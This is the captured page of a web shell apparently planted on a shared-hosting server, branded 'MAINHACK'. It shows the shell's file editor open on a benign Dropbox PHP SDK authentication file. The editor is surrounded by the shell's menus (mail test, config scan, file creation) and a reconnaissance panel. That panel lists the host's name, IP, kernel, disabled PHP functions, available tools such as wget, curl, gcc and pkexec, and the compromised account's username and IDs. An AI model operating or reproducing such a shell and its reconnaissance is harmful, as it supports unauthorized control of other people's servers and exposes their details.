[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: WebAuthBase.php
<?php namespace Dropbox; /** * The base class for the two auth options. */ class WebAuthBase extends AuthBase { // protected function _getAuthorizeUrl($redirectUri, $state) // { // return RequestUtil::buildUrlForGetOrPut( // $this->userLocale, // $this->appInfo->getHost()->getWeb(), // "1/oauth2/authorize", // array( // "client_id" => $this->appInfo->getKey(), // "response_type" => "code", // "redirect_uri" => $redirectUri, // "state" => $state, // )); // } /* Dropbox api 2*/ protected function _getAuthorizeUrl($redirectUri, $state) { return RequestUtil::buildUrlForGetOrPut( $this->userLocale, $this->appInfo->getHost()->getWeb(), "oauth2/authorize", array( "client_id" => $this->appInfo->getKey(), "response_type" => "code", "redirect_uri" => $redirectUri, "state" => $state, )); } protected function _finish($code, $originalRedirectUri) { // This endpoint requires "Basic" auth. $clientCredentials = $this->appInfo->getKey().":".$this->appInfo->getSecret(); $authHeaderValue = "Basic ".base64_encode($clientCredentials); $response = RequestUtil::doPostWithSpecificAuth( $this->clientIdentifier, $authHeaderValue, $this->userLocale, $this->appInfo->getHost()->getApi(), "oauth2/token", array( "grant_type" => "authorization_code", "code" => $code, "redirect_uri" => $originalRedirectUri, )); if ($response->statusCode !== 200) throw RequestUtil::unexpectedStatus($response); $parts = RequestUtil::parseResponseJson($response->body); if (!array_key_exists('token_type', $parts) || !is_string($parts['token_type'])) { throw new Exception_BadResponse("Missing \"token_type\" field."); } $tokenType = $parts['token_type']; if (!array_key_exists('access_token', $parts) || !is_string($parts['access_token'])) { throw new Exception_BadResponse("Missing \"access_token\" field."); } $accessToken = $parts['access_token']; if (!array_key_exists('uid', $parts) || !is_string($parts['uid'])) { throw new Exception_BadResponse("Missing \"uid\" string field."); } $userId = $parts['uid']; if ($tokenType !== "Bearer" && $tokenType !== "bearer") { throw new Exception_BadResponse("Unknown \"token_type\"; expecting \"Bearer\", got " .Util::q($tokenType)); } return array($accessToken, $userId); } // protected function _finish($code, $originalRedirectUri) // { // // This endpoint requires "Basic" auth. // $clientCredentials = $this->appInfo->getKey().":".$this->appInfo->getSecret(); // $authHeaderValue = "Basic ".base64_encode($clientCredentials); // $response = RequestUtil::doPostWithSpecificAuth( // $this->clientIdentifier, $authHeaderValue, $this->userLocale, // $this->appInfo->getHost()->getApi(), // "1/oauth2/token", // array( // "grant_type" => "authorization_code", // "code" => $code, // "redirect_uri" => $originalRedirectUri, // )); // if ($response->statusCode !== 200) throw RequestUtil::unexpectedStatus($response); // $parts = RequestUtil::parseResponseJson($response->body); // if (!array_key_exists('token_type', $parts) || !is_string($parts['token_type'])) { // throw new Exception_BadResponse("Missing \"token_type\" field."); // } // $tokenType = $parts['token_type']; // if (!array_key_exists('access_token', $parts) || !is_string($parts['access_token'])) { // throw new Exception_BadResponse("Missing \"access_token\" field."); // } // $accessToken = $parts['access_token']; // if (!array_key_exists('uid', $parts) || !is_string($parts['uid'])) { // throw new Exception_BadResponse("Missing \"uid\" string field."); // } // $userId = $parts['uid']; // if ($tokenType !== "Bearer" && $tokenType !== "bearer") { // throw new Exception_BadResponse("Unknown \"token_type\"; expecting \"Bearer\", got " // .Util::q($tokenType)); // } // return array($accessToken, $userId); // } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.98 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830